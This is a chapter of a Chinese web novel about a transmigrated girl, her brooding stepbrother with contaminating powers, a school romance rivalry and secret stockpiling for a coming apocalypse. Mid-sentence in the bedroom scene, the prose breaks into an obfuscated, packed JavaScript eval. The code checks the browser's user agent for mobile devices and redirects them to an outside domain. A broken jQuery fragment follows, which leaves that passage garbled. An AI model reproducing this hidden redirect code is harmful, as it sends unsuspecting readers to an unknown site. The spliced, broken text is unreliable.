“找我什么事？”


    成功从电疗悖论逃脱出来的沈怀欣心情都好了不少，她上下打量沈初墨，今天穿的上衣换了件旧衬衫，下身则是昨天的牛仔裤，外套是经典款蓝色校服。


    她昨天看到，沈初墨的衣服也被扔了不少，尤其是一些名牌，有些只穿过一次，沈母宁愿丢垃圾桶也不给他继续穿。


    卖的话应该也能上千吧……能抵她一个月工资了，心疼钱。


    “没什么，”沈初墨点点头，看了下手机，“快到午睡时间了，我先回教室了。”


    “？”沈怀欣摸摸脑袋，“行，我也困了。”


    沈初墨也不知道为什么要叫她。他暂时想不出理由，只是觉得再不打断沈怀欣，她就会离他越来越远。


    起初是路过的随意一眼，看到他们两人并肩走着，而后在花坛前停下，开始交谈，他们之间愈来愈有种旁人无法插入的氛围。


    秋风吹拂，落叶纷飞，两人款款对视时，男俊女美的画面无比和谐般配。在这样的画面下，他只觉得自己血液在冻结。


    齐逸进攻的眼神……令他讨厌。


    齐逸对着她牵起的唇角，令他反感。


    齐逸的一切，从外貌到衣着、表情到动作，和沈怀欣站在一起时，都极为刺眼，他一秒都难以忍受。更让他难以忍受的是，沈怀欣在面对齐逸时的自然表情，比与他在一起时更为柔和。


    树叶沙沙作响，沈初墨站在树旁，与他们离得较远，但却能感知到他们的对话内容。他在心里祈祷，不要答应齐逸，不要承认喜欢他。


    但事与愿违，他读出了沈怀欣接下来的某种趋势，一定是他不乐见的。


    他之前不止一次听说，沈怀欣追求过齐逸，但是被拒绝。看来传闻并非空穴来风。


    沈初墨掏出手机，打开“涵”的朋友圈，细数那一张张照片，看着看着，将手机越攒越紧。他搞错了对象，沈怀欣拍的不是苏梓涵，而是齐逸。


    边边角角处，透着的都是齐逸。但无论是谁，这两个人都极大地分散了她的注意力。


    齐逸单独约沈怀欣的事，苏梓涵已经听说了。现在关于沈怀欣的各种消息，不日便会传得沸沸扬扬，据说还有网红歌手翻唱了《追梦》，引发粉丝热议。


    以前她看不上的纨绔，现在却成了她拍马都追不上的风云人物。这让苏梓涵之前无比在意的校花之争仿佛都成了一场笑话，结果是谁已无人在意。


    就像北宋时期人们记得落榜的苏轼，却鲜少有人知道状元是章衡。


    那些努力抑制的情绪在心底滋生，又在看到齐逸步履轻快走进教室时，达到了顶峰。


    未等齐逸落座，已经有好事者揶揄起来，


    “齐逸，你刚刚去哪里了呀？”


    “你还记得自己立过的flag吗？”


    见众人求证似的望过来，那人洋洋得意，说明道：“你们忘啦，他可是说过‘我就是从教学楼顶跳下去，也不可能喜欢沈怀欣’的！”


    “啊，好像是有这么句话，我记得。”


    “被你一说，我也想起来了……”


    众人窃窃私语，齐逸无言以对。


    苏梓涵同桌碰了碰她，小声关心道：“梓涵，没事吧？”


    苏梓涵摇了摇头。同桌痛心疾首，平时受了学霸诸多照顾，就忍不住为她打抱不平，


    “当初沈怀欣来要电话，我就说她居心叵测，果不其然被我说中！要不是你，她哪儿要得到齐逸的号码！你就是太单纯了，什么都为他人着想，看不出别人只是在利用你。”


    与齐逸关系较好的男生勾住他的肩，还在打趣：“逸哥别不好意思啊，校花校草，这颜值多般配啊。而且沈怀欣以前不是追你追得很紧吗？你就成全她吧。”


    苏梓涵听到“校花”，猛地抬头，却见自己处于真空地带，所有人都默认“校花”是沈怀欣。此言一出，无人反驳。


    原来……她以为的赢，抱残守缺的“校花”头衔，到头来只是自作多情……


    苏梓涵望向齐逸，他被男生勾肩搭背，既不承认，也不反驳。但苏梓涵了解，当他没有毅然否认时，往往代表着默认。


    她原以为丢挂件事件会让齐逸死心，没想到适得其反，促成了他冲动之下表白沈怀欣，讽刺至极。


    一天之内，无论是虚名还是实意，她都失去了。


    既然如此，苏梓涵低下头微微一笑，往日澄澈的眼眸中多了丝暗色——就不要怪她不讲信用了。


    晚上，沈怀欣收到方小郑按时发来的消息，是几道色香味俱全的菜，不得不说，方小郑的厨艺愈发精湛了，看得她食指大动。


    沈怀欣拉到之前的聊天记录，复制了下上次的：嗯，看起来不错，今天有事，明晚再吃。


    方小郑：好。


    两人似乎都已经习以为常，一个鸽，一个喂妈。


    恰好，此时甜瑜也发来消息，八卦了一番齐逸表白的事，并对沈怀欣顺利拿下男神表示衷心的祝贺。


    ……似乎这样也不错？


    又没真正交往，又能刺激到女主吃醋。


    沈初墨来得正是时候。


    两人聊着聊着，甜瑜发来张照片。图上是甜瑜家一楼空房间改造的小仓库，里面是几箱储存的物资，沈怀欣顿时眼前一亮。


    甜瑜洋洋自得：怎么样，够我们野炊了吧？吃用一整个寒假都绰绰有余。


    沈怀欣说不感动是假的，她们没有未卜先知的能力，能单纯为了她画的野炊饼做到这份上，用具和食物储备得如此周全，十分难得可贵。


    沈怀欣：花了多少？我出一半，毕竟我回头要吃用，不占你们便宜。


    甜瑜直接谢绝了她的好意。


    入夜，天色愈发昏沉，沈怀欣躺到床上玩手机，眼皮逐渐变得沉重。手机震了一下，她迷迷糊糊中看到沈初墨发来的消息。


    沈初墨：可以开语音吗？不用说话。


    沈怀欣正懒得打开变声器，一听不用对话，二话不说就把语音开了。


    双方静默无声，仅留彼此的呼吸声。她打了个大大的哈欠，缓缓闭上眼睛，哼哼两声就进入梦乡，吐息变得又沉又有韵律。


    地下室。


    沈初墨听着她吐气如兰，尝试控制着黑色的污染因子，让它们不要四处逸散。但它们数量庞大，极难控制，稍不注意就会飘散开来。


    阴冷的地下室，似乎格外适合它们暗自滋生。只有沈怀欣安稳的吐息，能让他的控制力增强，注意力集中，让污染维持在可控范围内。只是灯下黑，他并未注意到污染的传播介质并不局限于空气，还有电磁波。


    黑色的颗粒沿着信号，一点点染上沈怀欣的手机，再到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572841|169913||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    她本人。


    手机传来的动静，让沈初墨感觉自己与她依偎在一起，闭上眼时，这种错觉尤为明显。他的脑中有了画面，是她清隽的脸庞，正侧着身躺在他身旁，樱唇微微张合，安稳无比。


    他伸出手，去触摸她的脸，滑得如同桑蚕丝，她似乎被摸得痒了，翻了个身，但他不想停下，着了魔似的去摩挲她的唇。


    软得惊人。


    他想她永远陪着，就像这样，不去想齐逸，和其他任何人。


    沈怀欣卧室，窗帘遮住月色，室内安静地暗。


    女孩身着丝质睡衣，侧躺在床上，睡意正酣。细微颗粒渐渐从手机透出，汇聚成雾气似的形状，雾气轻如蝉翼，缓缓靠近她的脸颊。


    滑过脸颊时，颗粒便消失进她的皮肤。她翻了个身，雾气就跟着她到另一面，点触嘴唇，犹如羽毛轻拂，转瞬即逝。


    她在梦中嘟囔一句。


    周六，快递到了，沈怀欣已经仓鼠似的囤积了不少，她熟门熟路地把这些塞到酒窖最深处，这里除了父亲接待客人会派人取酒，其余时间极少过来，是绝佳的藏匿地点。


    只是现在么……她四处张望，到处是她堆放的物资，但凡进来看一眼就能察觉。一想到被发现后，要用什么说辞应付父母就有些头疼。


    尽管原书中沈父沈母几乎在第一时间就被污染，因为他们距离沈初墨实在太近了，类似于身处核辐射源中心，再加上潜伏期的日积月累，因此很难幸免，这些物资极有可能派不上任何用场。


    她一边神游，一边在椅子上踮脚，用指尖勉强将袋装方便面堆叠到最上层。不知道碰到什么，方便面下方叠满的盒子开始摇摇晃晃，她连忙往里扶住，连带着自己也重心不稳。


    “小心——”


    身后多了股可靠的力，沈怀欣从声音分辨出了对方，将物资整整齐齐摆好后，长舒口气。沈初墨伸手，她顺势扶着走下来。


    沈初墨打量着快要爆仓的酒窖，语气肯定：“欣姐，这些物资不是野炊用的。”


    碍于系统规则，沈怀欣无法剧透，只好打个哈哈：“这叫生于忧患，死于安乐，你懂不懂？再多问，小心我……”


    “我帮你藏。”他说。


    沈怀欣不可思议。他的地下室那么逼仄，藏只老鼠都费劲，更别提这一箱箱物资。


    她下意识问：“怎么藏？”


    沈初墨竖起食指，贴在薄唇中央。


    “……”


    沈怀欣点头，不再多问。她能够猜出来一点，大概是沈初墨的能力已经开始觉醒，所以藏匿物资对他来说，不算太难。


    这同时意味着，这个世界正式进入倒计时。


    不过，沈初墨愿意承担暴露的风险，替她储存物资，她不知这是否意味着，姐弟关系还算不错？她想了想，打开酒窖最深处的柜门，拿出瓶82年的拉菲，打开酒盖，把物资清单从里头抽出。


    沈初墨看着空空如也的酒瓶：“里面的酒呢？”


    “倒了，”沈怀欣耸耸肩，把清单递给他，“所有的物资盘点都在上面，你收好。”


    她隐去“需要时自行取用”这句话，只叮嘱他保管好，不要被任何人发现。沈初墨扫了下清单，微微皱眉。


    沈怀欣看他的表情，以为自己有什么疏忽：“怎么了？”


    “你的呢？”